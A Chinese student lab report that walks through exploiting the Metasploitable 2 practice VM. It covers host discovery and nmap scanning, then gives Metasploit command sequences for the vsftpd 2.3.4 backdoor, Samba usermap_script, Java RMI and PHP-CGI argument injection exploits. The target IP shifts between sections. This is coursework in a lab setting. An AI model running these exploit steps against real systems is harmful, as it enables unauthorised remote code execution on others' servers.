20222401 2024-2025-1 《网络与系统攻防技术》实验六实验报告
1.实验内容
1.1Vsftpd源码包后门漏洞(21端口)
在特定版本的Vsftpd服务器程序中,存在被人恶意植入的代码。当攻击者使用特定格式的用户名(以特定字符,如“😃”为结尾)尝试登录FTP服务器时,服务器就会在6200端口开启一个后门,并允许执行任意代码。这种后门漏洞使得攻击者无需具备高级权限,就能远程控制受影响的服务器。
1.2SambaMS-RPC Shell命令注入漏洞(端口139)
Samba是一个在类Unix系统上实现SMB/CIFS网络协议的自由软件,它允许Windows系统的用户和类Unix系统的用户共享文件和打印机等资源。然而,在Samba的某些版本中,负责在SAM数据库更新用户口令的代码未经过滤,就直接将用户输入传输给了/bin/sh。如果在调用smb.conf中定义的外部脚本时,攻击者通过MS-RPC调用向/bin/sh提交了恶意输入,就可能以nobody用户的权限在受影响的系统上执行任意命令。这种漏洞使得攻击者能够绕过正常的安全机制,获取对系统的控制权。
1.3Java RMI SERVER命令执行漏洞(1099端口)
Java RMI(Remote Method Invocation)是Java平台的一部分,它允许一个Java虚拟机上的对象调用另一个Java虚拟机上的对象的方法。然而,在Java RMI Server的某些版本中,RMI注册表和RMI激活服务的默认配置存在安全漏洞。攻击者可以利用这些漏洞,通过向RMI注册表发送恶意构造的RMI请求,来在服务器上执行任意代码。由于1099端口是Java RMI的默认端口,因此该漏洞通常与1099端口相关联。攻击者一旦成功利用此漏洞,就能获得对服务器的控制权,并执行任意命令。
1.4PHP CGI参数执行注入漏洞(80端口)
PHP-CGI是一个处理PHP脚本的CGI程序,它接收Web容器(如Apache)收到的HTTP数据包,并将其中的数据交给PHP解释器执行。然而,在CGI模式下运行的PHP中,如果CGI脚本没有正确处理请求参数,就可能导致源代码泄露或允许远程攻击者在请求参数中插入执行命令。这种漏洞通常被称为PHP CGI参数执行注入漏洞。攻击者可以利用此漏洞,通过向受影响的Web服务器发送恶意构造的HTTP请求,来在服务器上执行任意代码。由于80端口是Web服务器的默认端口,因此该漏洞通常与80端口相关联。
2.实验过程
2.1前期渗透
2.1.1主机发现
首先要下载官方提供的靶机,下载链接我放在下面了。
https://docs.rapid7.com/metasploit/metasploitable-2-exploitability-guide/
最好在一个单独的页面打开,这样下载速度会快一点。
解压好之后就可以登录了,用户名和密码都是msfadmin
我这边用了putty,这样命令行界面能够更直观一点。
然后我们获取到靶机的IP地址是192.168.121.163
然后我们使用arp_sweep
来做主机发现。
在msf控制台下输入search arp_sweep
然后输入use auxiliary/scanner/discovery/arp_sweep
来进入模块,并查看都需要我们配置哪些参数。
这里我们输入下列命令
set RHOST 192.168.121.0/24
set THREADS 256
我们发现192.168.121.163
就是我们要发现的主机。
2.1.2端口扫描
然后在kali上进行扫描,命令如下
nmap -Pn -p0-65535 192.168.121.163
2.1.3系统版本探测
命令如下:
namp -O 192.168.121.163
我们可以看到靶机的操作系统是Linux2.6.X,其他信息也能看到。
2.2Vsftpd源码包后门漏洞(21端口)
漏洞原理:在特定版本的vsftpd服务器程序中,被人恶意植入代码,当用户名以“😃”为结尾,服务器就会在6200端口监听,并且能够执行任意代码。
在msf控制台界面输入以下命令
search exploit/unix/ftp/vsftpd_234_backdoor
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOST 192.168.121.104(靶机的ip)
run
我们来看一下运行效果
2.3SambaMS-RPC Shell命令注入漏洞(端口139)
漏洞原理:Samba中负责在SAM数据库更新用户口令的代码未经过滤便将用户输入传输给了/bin/sh。如果在调用smb.conf中定义的外部脚本时,通过对/bin/sh的MS-RPC调用提交了恶意输入的话,就可能允许攻击者以nobody用户的权限执行任意命令。
在msf控制台界面输入以下命令
search exploit/multi/samba/usermap_script
use exploit/multi/samba/usermap_script
set RHOST 192.168.121.104(靶机的ip)
run
我们看一下运行效果
2.4Java RMI SERVER命令执行漏洞(1099端口)
漏洞原理:Java RMI Server的RMI注册表和RMI激活服务的默认配置存在安全漏洞,可被利用导致代码执行。
我们先查看1099端口是否打开。
然后在控制台界面输入以下命令
search exploit/multi/misc/java_rmi_server
use exploit/multi/misc/java_rmi_server
set RHOST 192.168.121.104
run
我们来看一下运行效果
2.5PHP CGI参数执行注入漏洞(80端口)
在msf控制台界面输入以下命令
search exploit/multi/http/php_cgi_arg_injection
use exploit/multi/http/php_cgi_arg_injection
set RHOST 192.168.121.104(靶机的ip)
run
我们看一下运行效果
3.问题及解决方案
- 问题1:kali和靶机不在同一个网段
- 问题1解决方案:靶机下载时网络配置默认是NAT模式,而主机是桥接模式。需要注意的是,NAT模式下的地址虽然也是私有地址,但是逻辑上和其他私有地址并不是同一个网段,所以不能ping通。只需要将两者均修改为桥接模式,然后重启,就能解决。
4.学习感悟、思考等
本次实验涵盖了多个经典漏洞的利用方法,每个漏洞的利用都需要细致的前期准备和精确的参数配置,稍有不慎就可能导致失败。但是有了现成的框架,我们能够很轻松的实现攻击。网络攻防是一个不断发展的领域,只有不断学习、实践,才能跟上时代的步伐。不但要学习,更要善用方法。